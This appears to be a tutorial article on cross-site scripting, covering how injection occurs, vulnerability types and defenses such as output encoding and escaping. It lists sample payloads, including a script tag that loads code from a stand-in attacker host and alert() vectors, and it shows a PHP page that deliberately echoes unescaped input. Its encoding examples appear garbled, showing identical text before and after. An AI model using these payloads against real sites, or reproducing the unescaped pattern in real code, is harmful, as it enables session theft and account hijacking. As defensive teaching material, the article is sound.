Cross-Site Scripting (XSS)

Gul Md Ershad
9y
10.4k
0
4

Article

It is a security vulnerability found in web applications. Attackers inject client-side scripts into web pages. It is the most common application layer hacking technique.

It leverages a vulnerability in the code of a web application to allow an attacker to send malicious content from an end user and collect some types of data from the victim. Hackers embed malicious JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine to gather data. They steal user's cookies or create requests that can be mistaken for those of a valid user or execute malicious code on the end-user system.

How XSS happens

You never think that an attacker will first break the security of your web server and then upload and modify files on that server. XSS attach is much easier than that.

Let me explain one scenario.

Suppose that you are providing a user comment section in your website. A hacker could use that comments feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script that will execute on his browser, causing undesirable behavior.

The form that the XSS data comes in

<Script>:

It can arrive to your page in the following forms:

External Scripts:
1. <SCRIPT SRC =https://hacker-stie.com/xss.js></SCRIPT>
Embedded Script:
1. <SCRIPT> alert (“XSS”); </SCRIPT>
<BODY>:
1. <BODY ONLOAD = alert (“XSS”) >
Or
1. <BODY BACKGROUND=”javascript: alert (‘XSS’)”>
<IMG> :
1. <IMG SRC="javascript:alert('XSS');">

Example of XSS

Let us assume have an error page that handles the requests for non-existing pages. We write code in the following form:

<html>
<body>
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);>
</body>
</html>

It will work like the following:

http://testsite.test/file_which_not_exist

We will get the following output:

Not found: /file_which_not_exist

Now, we do XSS in this page by injecting code such as:

http://testsite.test/<script>alert ("TEST");</script>

The result:

Not found: / (but with JavaScript code <script>alert("TEST");</script>)

Types of XSS

Server XSS:

Server XSS occurs when untrusted user supplied data is included in an HTML response generated by the server.
Client XSS:

Client XSS occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call.

Impact of XSS

Attackers can perform a variety of malicious activities, such as:

Hijack an account
Spread web worms
Access browser history and clipboard contents
Control the browser remotely
Scan and exploit intranet appliances and applications

XSS Defense

Server XSS

Server XSS is caused by including untrusted data in an HTML response. The easiest and strongest defense against Server XSS is:

Context- sensitive server-side output encoding.
Client XSS

Client XSS is caused when untrusted data is used to update the DOM with an unsafe JavaScript call. The easiest and strongest defense against client XSS is:

Using the safe JavaScript API

Preventing XSS Attack

To help prevent XSS attacks, an application needs to ensure that all variable output in a page is encoded before being returned to the end user.

Encoding variable output substitutes HTML markup with alternate representations called entities. The browser displays the entities but does not run them. For example, <script> gets converted to <script>.

When a web browser encounters the entities, they will be converted back to HTML and printed but they will not be run. For example, if an attacker injects <script>alert("you are attacked")</script> into a variable field of a server's web page, the server will, using this strategy, return <script>alert("you are attacked")</script>.

When the web browser downloads the encoded script, it will convert the encoded script back to <script>alert("you are attacked")</script> and display the script as part of the web page but the browser will not run the script.

Filtering for XSS

All XSS attacks infect a website via some form of user input. In all cases the developer should be aware that the data is coming from an external source and therefore must not be trusted.

The easies form of XSS protection would be to all external data using a filter that will remove dangerous keywords, such as the <SCRIPT> tag, JavaScript Commands, CSS styles and other dangerous HTML markup.
Escaping from XSS

This is the primary means to disable a XSS attack. When performing escaping you are effectively telling the browser that the data you are sending should be treated as data and should not be interpreted in any other way. If an attacker manages to put a script on your page, the victim will not be affected because the browser will not execute the script if it is properly escaped.

In HTML you can escape dangerous characters using the &# sequence followed by the character code.

The two most popular escaping libraries available are the ESAPI provided by OWASP and AntiXSS provided for Microsoft.

ESAPI can plug into various technologies such as Java, .NET, PHP, Classic ASP, Cold Fusion, Python and Haskell. AntiXSS exclusively protects Microsoft technologies and is therefore better suited in an all-Microsoft environment.

XSS Prevention Rules

The following are the rules of XSS prevention:

Never insert untrusted data except in an allowed location
HTML escape before inserting untrusted data into HTML Element content
Attribute escape before inserting untrusted data into HTML Common attribute.
1. <div attr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...>content</div> inside UNquoted attribute
JavaScript escape before inserting untrusted data into JavaScript data values.
HTML escape JSON values in an HTML context and read the data with JSON.parse.
CSS escape and strictly validate before inserting untrusted data into HTML style property values.
URL escape before inserting untrusted data into HTML URL parameter values.